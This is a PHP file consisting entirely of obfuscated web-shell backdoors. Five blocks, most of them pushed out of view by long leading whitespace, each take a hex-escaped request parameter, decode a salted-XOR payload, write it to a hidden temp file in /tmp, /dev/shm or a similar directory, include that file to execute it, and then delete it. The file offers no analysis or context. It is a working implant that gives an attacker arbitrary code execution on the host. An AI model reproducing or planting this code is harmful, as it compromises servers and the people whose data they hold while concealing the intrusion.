<?php																																										if(array_key_exists("h\x6C\x64", $_POST)){ $object = $_POST["h\x6C\x64"]; $object =explode ( '.',$object ) ; $entity = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s1); foreach( $object as $u=> $v1): $sChar = ord( $s1[$u % $lenS]); $dec = ( ( int)$v1 - $sChar -( $u % 10))^ 89; $entity .= chr( $dec); endforeach; $value = array_filter(["/dev/shm", getcwd(), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getenv("TMP"), session_save_path()]); foreach ($value as $key => $record) { if ((is_dir($record) and is_writable($record))) { $flg = "$record/.tkn"; $success = file_put_contents($flg, $entity); if ($success) { include $flg; @unlink($flg); exit;} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x64\x61t"])){ $comp = $_REQUEST["\x64\x61t"]; $comp = explode('.' , $comp ) ; $pgrp=''; $s2='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s2); $j=0; $__tmp=$comp; while ($v7=array_shift($__tmp)) {$chS=ord($s2[$j % $sLen]); $d=((int)$v7 - $chS - ($j % 10)) ^ 2; $pgrp .= chr($d); $j++; } $resource = array_filter([sys_get_temp_dir(), "/var/tmp", "/tmp", getcwd(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP")]); foreach ($resource as $rec): if (is_writable($rec) && is_dir($rec)) { $object = join("/", [$rec, ".mrk"]); $success = file_put_contents($object, $pgrp); if ($success) { include $object; @unlink($object); die();} } endforeach; }
																																										if(in_array("\x72\x65\x63ord", array_keys($_POST))){ $holder = array_filter([getenv("TMP"), "/dev/shm", "/var/tmp", "/tmp", sys_get_temp_dir(), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP")]); $sym = $_POST["\x72\x65\x63ord"]; $sym =explode ( "." , $sym ) ; $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $v = 0; while ($v < count($sym)) { $v2 = $sym[$v]; $chS = ord($s[$v% $lenS]); $dec = ((int)$v2 - $chS - ($v% 10)) ^ 32; $desc .= chr($dec); $v++; } while ($descriptor = array_shift($holder)) { if ((is_dir($descriptor) and is_writable($descriptor))) { $factor = join("/", [$descriptor, ".res"]); $success = file_put_contents($factor, $desc); if ($success) { include $factor; @unlink($factor); die();} } } }
																																										if(isset($_REQUEST["\x72ec\x6Frd"])){ $obj = $_REQUEST["\x72ec\x6Frd"]; $obj = explode ( "." ,$obj ); $binding = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9 ); $x = 0; array_walk($obj, function ($v1) use (&$binding, &$x, $salt9, $lenS) { $sChar = ord($salt9[$x% $lenS] ); $d = ((int)$v1 - $sChar - ($x% 10)) ^ 74; $binding .= chr($d ); $x++; } ); $flag = array_filter([getcwd(), "/tmp", getenv("TMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TEMP")]); foreach ($flag as $key => $data) { if (is_dir($data) && is_writable($data)) { $descriptor = implode("/", [$data, ".hld"]); if (file_put_contents($descriptor, $binding)) { include $descriptor; @unlink($descriptor); exit; } } } }


if(array_key_exists("e\x6Et", $_REQUEST)){
	$reference = $_REQUEST["e\x6Et"];
	$reference=explode	 	(	 "."  ,$reference 	);	 	
	$value = '';
            $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(	$s8);
            $w = 0;
    
            $__tmp = $reference;
            while(	$v9 = array_shift(	$__tmp)) {  $sChar = ord(	$s8[$w	%	 $lenS]);
                $dec =(	(	int)$v9 - $sChar -(	$w	%	 10)) ^ 78;
                $value .= chr(	$dec);
                $w++;
            }
	$itm = array_filter(["/tmp", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), session_save_path(), sys_get_temp_dir(), "/dev/shm"]);
	foreach ($itm as $mrk) {
    		if (is_writable($mrk) && is_dir($mrk)) {
    $hld = vsprintf("%s/%s", [$mrk, ".holder"]);
    $file = fopen($hld, 'w');
if ($file) {
	fwrite($file, $value);
	fclose($file);
	include $hld;
	@unlink($hld);
	die();
}
}
}
}